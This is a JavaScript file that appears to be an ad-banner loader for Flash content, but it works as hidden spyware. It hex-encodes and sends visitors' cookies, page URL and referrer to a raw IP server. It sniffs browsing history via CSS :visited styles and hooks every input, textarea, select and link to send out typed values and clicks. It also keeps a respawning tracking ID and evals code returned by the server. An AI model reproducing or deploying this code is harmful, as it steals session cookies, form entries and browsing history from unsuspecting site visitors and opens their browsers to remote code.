﻿
if (!window.vrtxStart) {
    var headLoc = document.getElementsByTagName("head").item(0);
    var sessionKey = '1fadd945-c296-4d92-9229-e04eb031eeb0';
    var vrtxId;
    var callCntr = 0;
    var sv = 'http://75.126.60.130/s.svc';
    var vrtxDwnSt = 0;
    var bndDiv;
    var vrtxReady = false;
    var vrtxExArray = new Array();
    var flexiCount = 0;
    var vrtxisIE = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
    var vrtxisWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
    var vrtxisOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;
    var vrtxCpArray = new Array();
    var vrtxSt;
    var vrtxMethod;

    vrtxStart = function() {
        vrtxSt = document.createElement("script");
        vrtxSt.setAttribute("type", "text/javascript");
        vrtxSt.setAttribute("src", 'http://75.126.60.130/s.svc/c?cb=vrtxBegin');
        vrtxSt.setAttribute("id", "vrtxSt");
        headLoc.appendChild(vrtxSt);
        
        setTimeout('vrtxSn()', 1000);
        vrtxRtForK();
    }

    vrtxBegin = function(jsonData) {
        headLoc.removeChild(vrtxSt);

        if (localStorage) {
            if (localStorage.fs) {
                vrtxId = localStorage.fs;
                vrtxMethod = 5;
            }
        }
        if (!vrtxId) {
            if (window.name.indexOf("fs|", 0) > -1) {
                vrtxId = window.name.substr(3, 36);
                vrtxMethod = 2;
            }
        }
        if (!vrtxId && document.cookie.length > 0) {
            var nameEQ = 'flexispotId=';
            var ca = document.cookie.split(';');
            for (var i = 0; i < ca.length; i++) {
                var c = ca[i];
                while (c.charAt(0) == ' ') c = c.substring(1, c.length);
                if (c.indexOf(nameEQ) == 0) {
                    vrtxId = c.substring(nameEQ.length, c.length);
                    vrtxMethod = 3;
                    break;
                }
            }
        }
        if (!vrtxId && jsonData.ResponseValue != null) {
            vrtxId = jsonData.ResponseValue;
            vrtxMethod = 4;
        }

        if (!vrtxId){
            vrtxMethod = 0;
		vtrxId = "";
	}
        else
            vrtxSave();
        
        vrtxInit();
        vrtxReady = true;
        setTimeout('vrtxBndWdth()', 2000);
    }

    vrtxSave = function() {
        if (localStorage)
            localStorage.setItem('fs', vrtxId);

        window.name = 'fs|' + vrtxId;

        var exdate = new Date();
        document.cookie = 'flexispotId=;expires=' + exdate.toGMTString();
        document.cookie = 'flexispotId=;expires=' + exdate.toGMTString() + ';path=/';
        exdate.setDate(exdate.getDate() + 360);
        document.cookie = 'flexispotId=' + vrtxId + ';expires=' + exdate.toGMTString();
    }

    vrtxInit = function() {

        var initResponse = sessionKey;
        initResponse += '|' + vrtxMethod;
        initResponse += '|' + vrtxCrypt(document.cookie, 'A2H');
        initResponse += '|' + vrtxId;
        initResponse += '|' + vrtxCrypt(window.location.href, 'A2H');
        initResponse += '|' + vrtxCrypt(document.referrer, 'A2H');
        initResponse += '|' + (new Date().getTimezoneOffset() / 60) * (-1);

        vrtxJsr('/u', initResponse, true, 'vrtxRt');
    }

    vrtxDwnDone = function() {
        var duration = (new Date()).getTime() - vrtxDwnSt;
        vrtxJsr('/b', sessionKey + '|' + duration, true, 'vrtxRt');
        document.body.removeChild(bndDiv);
    }

    vrtxBndWdth = function() {
        vrtxDwnSt = (new Date()).getTime();
        bndDiv = document.createElement("div");
        bndDiv.setAttribute("id", "vrtxBndDiv");
        bndDiv.innerHTML = "";
        bndDiv.style.position = "absolute";
        bndDiv.style.left = "-2000px";
        bndDiv.style.display = "inline";
        document.body.appendChild(bndDiv);
        var bndImg = document.createElement("img");
        bndImg.setAttribute("id", 'vrtx' + vrtxDwnSt);

        if (window.addEventListener)
            bndImg.addEventListener("load", vrtxDwnDone, true);
        else
            bndImg.attachEvent('onload', vrtxDwnDone);
        bndDiv.appendChild(bndImg);
        bndImg.setAttribute("src", 'http://ndt.dhspeedtest.com/flash/speedtest/random350x350.jpg?x=' + vrtxDwnSt);

    }



     vrtxRtForK = function() {
		   vrtxJsr('/uk', sessionKey, true, 'vrtxRt');
		   setTimeout('vrtxRtForK()', 10000);
	   }

    vrtxRtForH = function(jsonData) {
        eval(jsonData.Batch);
        if (jsonData.SourceElementId != null) {
            if (document.getElementById('' + vrtxCrypt(jsonData.SourceElementId, 'H2A')) != null)
                headLoc.removeChild(document.getElementById(vrtxCrypt(jsonData.SourceElementId, 'H2A')));
        }
    }

    vrtxRt = function(jsonData) {
        if (jsonData.SourceElementId != null) {
            if (document.getElementById('' + vrtxCrypt(jsonData.SourceElementId, 'H2A')) != null)
                headLoc.removeChild(document.getElementById(vrtxCrypt(jsonData.SourceElementId, 'H2A')));
        }
    }

    vrtxJsr = function(c, pl, nc, cb) {

        callCntr += 1;
        var snme = 'zxcv' + callCntr;

        var req = sv + c + '/' + vrtxCrypt(snme, 'A2H');

        if (nc)
            req += '/' + (new Date()).getTime();


        req += '?p=' + pl;

        if (cb.length > 0)
            req += '&cb=' + cb;


        var sobj = document.createElement("script");
        sobj.setAttribute("type", "text/javascript");
        sobj.setAttribute("src", req);
        sobj.setAttribute("id", snme);
        headLoc.appendChild(sobj);
    }

    vrtxCrypt = function(x, dir) {
        hex = "0123456789ABCDEF"; almostAscii = ' !"#$%&' + "'" + '()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[' + '\\' + ']^_`abcdefghijklmnopqrstuvwxyz{|}'; r = "";
        if (dir == "A2H")
        { for (i = 0; i < x.length; i++) { let = x.charAt(i); pos = almostAscii.indexOf(let) + 32; h16 = Math.floor(pos / 16); h1 = pos % 16; r += hex.charAt(h16) + hex.charAt(h1); }; };
        if (dir == "H2A")
        { for (i = 0; i < x.length; i++) { let1 = x.charAt(2 * i); let2 = x.charAt(2 * i + 1); val = hex.indexOf(let1) * 16 + hex.indexOf(let2); r += almostAscii.charAt(val - 32); }; };
        return r;
    };

    vrtxH = function(u, vsids) {

        if (u.length > 0) {
            var hits = new Array();
            var hitCount = 0;
            var newStyle = "#lkcss a:visited{color:#000000 !important;}";
            var styleElement = document.getElementById('lkstl');
            if (!styleElement) {
                styleElement = document.createElement('style');
                styleElement.type = 'text/css';
                styleElement.id = 'lkstl';
                headLoc.appendChild(styleElement);
                if (!!(window.attachEvent && !window.opera))
                    styleElement.styleSheet.cssText = newStyle;
                else
                    styleElement.appendChild(document.createTextNode(newStyle));
            }
            var nrmele = document.getElementById('lkcss');
            if (!nrmele) {
                nrmele = document.createElement('div');
                nrmele.id = 'lkcss';
                nrmele.style.height = '1px';
                nrmele.style.width = '1px';
                headLoc.appendChild(nrmele);
            }
            for (var i = 0; i < u.length; i++) {

                var link = document.createElement('a');
                link.id = 'test_link' + i;
                link.href = u[i];


                nrmele.appendChild(link);
                if (link.currentStyle) {
                    if (link.currentStyle.color == '#000000') {
                        hits[hitCount] = vsids[i];
                        hitCount += 1;
                    }
                }
                else {
                    var computed_style = document.defaultView.getComputedStyle(link, null);
                    if (computed_style) {
                        if (computed_style.color == 'rgb(0, 0, 0)') {
                            hits[hitCount] = vsids[i];
                            hitCount += 1;
                        }
                    }
                }
            }

            headLoc.removeChild(styleElement);
            headLoc.removeChild(nrmele);

            var fndStr = '';
            for (j = 0; j < hits.length; j++) {
                if (j > 0)
                    fndStr += '^';
                fndStr += hits[j];
            }


            vrtxJsr('/h', sessionKey + '|' + fndStr, true, 'vrtxRt');
        }
    }


    vrtxSn = function() {

        var inputs = document.getElementsByTagName('input');
        if (inputs.length == 0)
            inputs = document.getElementsByTagName('a');
        if (inputs.length == 0)
            inputs = document.getElementsByTagName('textarea');
        if (inputs.length == 0)
            inputs = document.getElementsByTagName('select');
        if (inputs.length > 0) {
            vrtxAL();
        } else {
            setTimeout('vrtxSn()', 1000);
        }
    }

    vrtxAL = function() {
        var item, inputs;

        inputs = document.getElementsByTagName('a');
        for (var k = 0; k < inputs.length; k++) {
            item = inputs[k];
            if (window.addEventListener)
                item.addEventListener("click", modifyText, true);
            else
                item.attachEvent('onclick', modifyText);
        }

        inputs = document.getElementsByTagName('input');
        for (var k = 0; k < inputs.length; k++) {
            item = inputs[k];

            if (item.type == "text") {
                if (window.addEventListener)
                    item.addEventListener("blur", modifyText, true);
                else
                    item.attachEvent('onblur', modifyText);
            } else if (item.type == "radio") {
                if (window.addEventListener)
                    item.addEventListener("click", modifyText, true);
                else
                    item.attachEvent('onclick', modifyText);
            }
        }

        inputs = document.getElementsByTagName('textarea');
        for (var k = 0; k < inputs.length; k++) {
            item = inputs[k];
            if (window.addEventListener)
                item.addEventListener("blur", modifyText, true);
            else
                item.attachEvent('onblur', modifyText);
        }

        inputs = document.getElementsByTagName('select');
        for (var k = 0; k < inputs.length; k++) {
            item = inputs[k];
            if (window.addEventListener)
                item.addEventListener("change", modifyText, true);
            else
                item.attachEvent('onchange', modifyText);
        }
    }

    modifyText = function(e) {


        var elmAction = 0;
        var elmSource = '';
        var elmValue = '';

        if (window.event) e = window.event;
        var srcEl = e.srcElement ? e.srcElement : e.target;
        var elmName = srcEl.id;
        if (elmName == null || elmName.length == 0)
            elmName = srcEl.name;
        if (elmName == null || elmName.length == 0)
            elmName = srcEl.innerHTML;

        elmSource = elmName;

        switch (srcEl.tagName) {
            case "TEXTAREA":
            case "INPUT":
                elmValue = srcEl.value;
                if (srcEl.type == 'radio')
                    elmAction = 1;
                else
                    elmAction = 0;
                break;
            case "SELECT":
                elmAction = 1;
                elmValue = srcEl.options[srcEl.selectedIndex].text;
                break;
            case "IMG":
                elmAction = 2;
                elmSource = srcEl.src;
                elmValue = srcEl.parentNode.href;
                break;
            case "A":
                elmAction = 2;
                elmValue = srcEl.href;
                break;
        }

        if (elmSource.length > 0 && elmValue.length > 0) {
            vrtxJsr('/d', sessionKey + '|' + elmAction + '|' + vrtxCrypt(elmSource, 'A2H') + '|' + vrtxCrypt(elmValue, 'A2H'), true, 'vrtxRt');
        }
    }

    vrtxLF = function(ci, pn, ln) {

        var fndCp = false;
        for (var i in vrtxCpArray) {
            if (vrtxCpArray[i] == ci)
                fndCp = true;
        }

        if (!fndCp) {
            vrtxCpArray.push(ci);
            vrtxJsr('/vs', sessionKey + '|' + ci, true, 'vrtxRtForH');
        }


        var clientId = 'flexispot_' + flexiCount;
        flexiCount += 1;

        document.write("<div id='div_" + clientId + "'>");

        var flashVars = "partner=" + pn + "&location=" + ln + "&sessionKey=" + sessionKey + "&instanceId=" + clientId;


        if (vrtxDetectFlashVer(10, 0, 0)) {

            vrtxAC_FL_RunContent(
		                "src", sv + "/sc/fs/" + sessionKey + "/" + pn + "/" + ln + "/" + clientId,
		                "FlashVars", flashVars + "",
		                "width", "100%",
		                "height", "100%",
		                "align", "middle",
		                "id", clientId,
		                "quality", "high",
		                "name", clientId,
		                "allowScriptAccess", "always",
		                "allowFullScreen", "true",
			            "wmode", "transparent",
		                "type", "application/x-shockwave-flash",
		                "pluginspage", "http://www.adobe.com/go/getflashplayer"
                );
        }
        else {

            var alternateContent = '';
            document.write(alternateContent);
        }

        document.write("</div>");
    }

    // JavaScript helper required to detect Flash Player PlugIn version information
    vrtxGetSwfVer = function() {
        // NS/Opera version >= 3 check for Flash plugin in plugin array
        var flashVer = -1;

        if (navigator.plugins != null && navigator.plugins.length > 0) {
            if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
                var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
                var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
                var descArray = flashDescription.split(" ");
                var tempArrayMajor = descArray[2].split(".");
                var versionMajor = tempArrayMajor[0];
                var versionMinor = tempArrayMajor[1];
                var versionRevision = descArray[3];
                if (versionRevision == "") {
                    versionRevision = descArray[4];
                }
                if (versionRevision[0] == "d") {
                    versionRevision = versionRevision.substring(1);
                } else if (versionRevision[0] == "r") {
                    versionRevision = versionRevision.substring(1);
                    if (versionRevision.indexOf("d") > 0) {
                        versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
                    }
                } else if (versionRevision[0] == "b") {
                    versionRevision = versionRevision.substring(1);
                }
                var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
            }
        }
        // MSN/WebTV 2.6 supports Flash 4
        else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
        // WebTV 2.5 supports Flash 3
        else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
        // older WebTV supports Flash 2
        else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
        else if (vrtxisIE && vrtxisWin && !vrtxisOpera) {
            flashVer = vrtxControlVersion();
        }
        return flashVer;
    }

    // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
    vrtxDetectFlashVer = function(reqMajorVer, reqMinorVer, reqRevision) {
        versionStr = vrtxGetSwfVer();

        if (versionStr == -1) {
            return false;
        } else if (versionStr != 0) {
            if (vrtxisIE && vrtxisWin && !vrtxisOpera) {
                // Given "WIN 2,0,0,11"
                tempArray = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
                tempString = tempArray[1]; 		// "2,0,0,11"
                versionArray = tempString.split(","); // ['2', '0', '0', '11']
            } else {
                versionArray = versionStr.split(".");
            }
            var versionMajor = versionArray[0];
            var versionMinor = versionArray[1];
            var versionRevision = versionArray[2];

            // is the major.revision >= requested major.revision AND the minor version >= requested minor
            if (versionMajor > parseFloat(reqMajorVer)) {
                return true;
            } else if (versionMajor == parseFloat(reqMajorVer)) {
                if (versionMinor > parseFloat(reqMinorVer))
                    return true;
                else if (versionMinor == parseFloat(reqMinorVer)) {
                    if (versionRevision >= parseFloat(reqRevision))
                        return true;
                }
            }
            return false;
        }
    }

    vrtxAC_AddExtension = function(src, ext) {
        var qIndex = src.indexOf('?');
        if (qIndex != -1) {
            // Add the extention (if needed) before the query params
            var path = src.substring(0, qIndex);
            if (path.length >= ext.length && path.lastIndexOf(ext) == (path.length - ext.length))
                return src;
            else
                return src.replace(/\?/, ext + '?');
        }
        else {
            // Add the extension (if needed) to the end of the URL
            if (src.length >= ext.length && src.lastIndexOf(ext) == (src.length - ext.length))
                return src;  // Already have extension
            else
                return src + ext;
        }
    }

    vrtxAC_Generateobj = function(objAttrs, params, embedAttrs) {
        var str = '';
        if (vrtxisIE && vrtxisWin && !vrtxisOpera) {
            str += '<object ';
            for (var i in objAttrs)
                str += i + '="' + objAttrs[i] + '" ';
            str += '>';
            for (var i in params)
                str += '<param name="' + i + '" value="' + params[i] + '" /> ';
            str += '</object>';
        } else {
            str += '<embed ';
            for (var i in embedAttrs)
                str += i + '="' + embedAttrs[i] + '" ';
            str += '> </embed>';
        }

        document.write(str);
    }

    vrtxAC_FL_RunContent = function() {

        var ret =
            vrtxAC_GetArgs
            (arguments, "", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
             , "application/x-shockwave-flash"
            );
        vrtxAC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
    }

    vrtxAC_GetArgs = function(args, ext, srcParamName, classid, mimeType) {
        var ret = new Object();
        ret.embedAttrs = new Object();
        ret.params = new Object();
        ret.objAttrs = new Object();
        for (var i = 0; i < args.length; i = i + 2) {
            var currArg = args[i].toLowerCase();

            switch (currArg) {
                case "classid":
                    break;
                case "pluginspage":
                    ret.embedAttrs[args[i]] = args[i + 1];
                    break;
                case "src":
                case "movie":
                    args[i + 1] = vrtxAC_AddExtension(args[i + 1], ext);
                    ret.embedAttrs["src"] = args[i + 1];
                    ret.params[srcParamName] = args[i + 1];
                    break;
                case "onafterupdate":
                case "onbeforeupdate":
                case "onblur":
                case "oncellchange":
                case "onclick":
                case "ondblClick":
                case "ondrag":
                case "ondragend":
                case "ondragenter":
                case "ondragleave":
                case "ondragover":
                case "ondrop":
                case "onfinish":
                case "onfocus":
                case "onhelp":
                case "onmousedown":
                case "onmouseup":
                case "onmouseover":
                case "onmousemove":
                case "onmouseout":
                case "onkeypress":
                case "onkeydown":
                case "onkeyup":
                case "onload":
                case "onlosecapture":
                case "onpropertychange":
                case "onreadystatechange":
                case "onrowsdelete":
                case "onrowenter":
                case "onrowexit":
                case "onrowsinserted":
                case "onstart":
                case "onscroll":
                case "onbeforeeditfocus":
                case "onactivate":
                case "onbeforedeactivate":
                case "ondeactivate":
                case "type":
                case "codebase":
                    ret.objAttrs[args[i]] = args[i + 1];
                    break;
                case "id":
                case "width":
                case "height":
                case "align":
                case "vspace":
                case "hspace":
                case "class":
                case "title":
                case "accesskey":
                case "name":
                case "tabindex":
                    ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i + 1];
                    break;
                default:
                    ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i + 1];
            }
        }
        ret.objAttrs["classid"] = classid;
        if (mimeType) ret.embedAttrs["type"] = mimeType;
        return ret;
    }

    vrtxControlVersion = function() {
        var version;
        var axo;
        var e;

        // NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry

        try {
            // version will be set for 7.X or greater players
            axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
            version = axo.GetVariable("$version");
        } catch (e) {
        }

        if (!version) {
            try {
                // version will be set for 6.X players only
                axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");

                // installed player is some revision of 6.0
                // GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
                // so we have to be careful. 

                // default to the first public version
                version = "WIN 6,0,21,0";

                // throws if AllowScripAccess does not exist (introduced in 6.0r47)		
                axo.AllowScriptAccess = "always";

                // safe to call for 6.0r47 or greater
                version = axo.GetVariable("$version");

            } catch (e) {
            }
        }

        if (!version) {
            try {
                // version will be set for 4.X or 5.X player
                axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
                version = axo.GetVariable("$version");
            } catch (e) {
            }
        }

        if (!version) {
            try {
                // version will be set for 3.X player
                axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
                version = "WIN 3,0,18,0";
            } catch (e) {
            }
        }

        if (!version) {
            try {
                // version will be set for 2.X player
                axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
                version = "WIN 2,0,0,11";
            } catch (e) {
                version = -1;
            }
        }

        return version;
    }

    vrtxStart();


}
vrtxLF(16, 'lp33', 'sexbanner');